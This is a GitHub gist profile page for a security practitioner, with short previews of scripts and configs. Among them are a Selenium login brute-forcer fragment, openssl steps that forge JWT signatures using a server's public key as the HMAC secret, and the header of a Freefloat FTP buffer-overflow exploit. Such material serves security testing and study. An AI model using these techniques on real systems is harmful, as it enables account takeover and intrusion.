Skip to content

Instantly share code, notes, and snippets.

View dubs3c's full-sized avatar
😈
I solemnly swear that I am up to no good

dubs3c dubs3c

😈
I solemnly swear that I am up to no good
View GitHub Profile
@dubs3c
dubs3c / bf.py
Created January 10, 2023 12:43
brrute force login using selenium
import time
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.chrome.options import Options
def crack(driver, pin:str):
driver.get("https://<website>");
login_btn = driver.find_element(By.XPATH, "<xpath>")
driver.implicitly_wait(1)
alias.lg log --color --graph --pretty=format:'%Cred%h%Creset -%C(yellow)%d%Creset %s %Cgreen(%cr) %C(bold blue)<%an>%Creset' --abbrev-commit
### Keybase proof
I hereby claim:
* I am dubs3c on github.
* I am dubell_truesec (https://keybase.io/dubell_truesec) on keybase.
* I have a public key ASCS39W1iLEBWUbVg34npt6oswJP3Uil2GR5q1HQSj5SEwo
To claim this, I am signing this object:
/*
Copyright (c) 2016, Nitin Gode
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in the
@dubs3c
dubs3c / cuckoo-install.sh
Last active February 3, 2024 10:35
Cuckoo Sandbox dependency install script for Ubuntu 20.04
#!/bin/bash
#
# Cucko Sanbox install script
# -----------------------------
# Tested on Ubuntu 20.04 LTS
# ~ dubs3c
#
# Add virtualbox repo to system
@dubs3c
dubs3c / leetspeak.js
Created January 8, 2020 14:15
Convert href links to l33t speak on hover
function Leetspeak() {
var href_array = document.getElementsByTagName("a");
for (let index = 0; index < href_array.length; index++) {
var orginial = "";
href_array[index].onmouseover = function(link){
orginial = link.target.text;
link.target.text = link.target.text
@dubs3c
dubs3c / jwt-sec
Created January 8, 2020 10:55
steps to extract public key from a TLS/SSL cert and transform it into a format that can be used by jwt tokens
# Copy Server certificate to cert.pem
openssl s_client -connect server.com:443
# convert public key to hex values
$ openssl x509 -in cert.pem -pubkey -noout | xxd -p | tr -d "\\n"
<output1>
# Sign the jwt data. Remove the original signature first
$ echo -n "<jwt-without-signature>" |openssl dgst -sha256 -mac HMAC -macopt hexkey:<output1> | cut -d " " -f2
<output2>
@dubs3c
dubs3c / .tmux.conf
Created July 2, 2019 20:16
Better tmux config
# Set correct shell
set-option -g default-shell $SHELL
# remap prefix from 'C-b' to 'C-a'
unbind C-b
set-option -g prefix C-a
bind-key C-a send-prefix
# split panes using | and -
bind | split-window -h
@dubs3c
dubs3c / freefloat-ftp-exploit.py
Created December 24, 2018 22:02
Freefloat FTP server buffer overflow exploit
#!/usr/bin/env python2
import socket
import sys
# ============================================
# [!] Freefloat FTP server Buffer Overflow Exploit
# [+] Tested on Windows 7
# ============================================

Keybase proof

I hereby claim:

  • I am dubs3c on github.
  • I am mjdubell (https://keybase.io/mjdubell) on keybase.
  • I have a public key ASAUqaCMxOCMQJYT2FM69G2VSbtuYkChmZfMGFaI8zbzRQo

To claim this, I am signing this object: